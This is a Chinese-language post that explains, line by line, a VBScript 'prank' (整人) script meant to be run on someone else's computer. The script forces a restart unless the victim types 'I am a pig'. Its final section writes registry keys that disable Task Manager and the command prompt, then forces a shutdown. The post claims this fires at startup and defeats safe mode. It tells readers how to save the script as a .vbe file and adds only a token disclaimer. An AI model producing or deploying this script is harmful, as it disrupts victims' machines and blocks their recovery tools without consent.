vbe整人代码详解

on error resume next

rem 遇到错误忽略继续执行

dim WSHshellA

rem dim 是定义的意思，wshshella是个变量

set WSHshellA = wscript.createobject("wscript.shell")

rem wscript 是VB中的一个对象，createobject它的方法。上句是创建一个wscript.shell对象，赋值给wshshella，用面向对象的术语解释就是实例化一个对象wscript.shell，通过这个对象在widows环境下进行 *** 作，如访问文件夹等。这句可理解为:让wshshell能在windows环境下执行。

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""快说“我是猪”，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true

rem wshshella.run的意思是创建线程：运行cmd这个程序，并执行shutdown命令，-r：关闭并重启计算机，-t：设置关闭延时单位（秒），60等于60秒。在这里说明一下：要换成注销的话吧-t改为-l,但是注销时没有延时的，是立即执行的。

dim a

rem dim 是定义的意思，a是个变量

do while(a <>"我是猪")

rem 如果变量a不等于"我是猪"

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)

rem 显示一个能接受用户输入的对话框,并返回用户在对话框中输入的信息，返回值赋予a

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值，chr(13)表示回车

loop

rem 返回，跟do while是一个语句,不能单独用

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值

dim WSHshell

rem dim是定义的意思 wshshell是个变量

set WSHshell = wscript.createobject("wscript.shell")

rem wscript 是VB中的一个对象，createobject它的方法。上句是创建一个wscript.shell对象，赋值给wshshell，用面向对象的术语解释就是实例化一个对象wscript.shell，通过这个对象在widows环境下进行 *** 作，如访问文件夹等。这句可理解为:让wshshell能在windows环境下执行。

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

rem wshshell.run的意思是创建线程：运行cmd这个程序，并执行shutdown命令，-a：关闭系统关机

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值，在这里返回值没用，不管返回值是多少都回继续执行下一条命令

msgbox chr(13) + chr(13) + chr(13) + "乖孩子真听话啊"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值，在这里返回值没用，不管返回值是多少都回继续执行下一条命令

msgbox chr(13) + chr(13) + chr(13) + "下次叔叔买糖给你吃"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值，在这里返回值没用，不管返回值是多少都回继续执行下一条命令

msgbox chr(13) + chr(13) + chr(13) + "要吃什么糖啊"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值，在这里返回值没用，不管返回值是多少都回继续执行下一条命令

msgbox chr(13) + chr(13) + chr(13) + "什么，大白兔？"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值，在这里返回值没用，不管返回值是多少都回继续执行下一条命令

msgbox chr(13) + chr(13) + chr(13) + "不行，不行，大白兔吃了长石头啊"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值，在这里返回值没用，不管返回值是多少都回继续执行下一条命令

msgbox chr(13) + chr(13) + chr(13) + "要不叔叔给你讲个故事"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值，在这里返回值没用，不管返回值是多少都回继续执行下一条命令

msgbox chr(13) + chr(13) + chr(13) + "从前有个山"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值，在这里返回值没用，不管返回值是多少都回继续执行下一条命令

msgbox chr(13) + chr(13) + chr(13) + "山里有个庙"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值，在这里返回值没用，不管返回值是多少都回继续执行下一条命令

msgbox chr(13) + chr(13) + chr(13) + "庙里有个老和尚"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值，在这里返回值没用，不管返回值是多少都回继续执行下一条命令

msgbox chr(13) + chr(13) + chr(13) + "老和尚在给小和尚讲故事"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值，在这里返回值没用，不管返回值是多少都回继续执行下一条命令

msgbox chr(13) + chr(13) + chr(13) + "讲什么故事呢"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值，在这里返回值没用，不管返回值是多少都回继续执行下一条命令

msgbox chr(13) + chr(13) + chr(13) + "故事是这样的"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值，在这里返回值没用，不管返回值是多少都回继续执行下一条命令

msgbox chr(13) + chr(13) + chr(13) + "从前有个山"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值，在这里返回值没用，不管返回值是多少都回继续执行下一条命令

msgbox chr(13) + chr(13) + chr(13) + "山里有个庙"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值，在这里返回值没用，不管返回值是多少都回继续执行下一条命令

msgbox chr(13) + chr(13) + chr(13) + "庙里有个老和尚"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值，在这里返回值没用，不管返回值是多少都回继续执行下一条命令

msgbox chr(13) + chr(13) + chr(13) + "什么，不听了"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值，在这里返回值没用，不管返回值是多少都回继续执行下一条命令

msgbox chr(13) + chr(13) + chr(13) + "别哭别哭，叔叔给你买糖！"

rem 显示一个对话框，在对话框中显示消息，等待用户单击按钮，并返回一个值，在这里返回值没用，不管返回值是多少都回继续执行下一条命令

set s=createobject("wscript.shell")

set bag=getobject("winmgmts:\\.\root\cimv2")

set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")

For Each id in pipe

if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"

id.terminate()

else

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"

for i=1 to 60

s.popup"系统将在"&60-i &"秒后关机...",1,"系统提示",4096+48

next

Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")

For Each eOs In colOS

eOs.Win32Shutdown(2)

Next

end if

Next

复制以上代码，在桌面建一个文本，把代码放进去，另存为VBE格式，

此代码的威力：

1：开机就强制自动关机

2：cmd命令打不开

3：结束任务不管用

4：F8安全模式也不管用

代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，

PS：不要乱拿软件去整人，发生什么事可不要怪我啊。。

---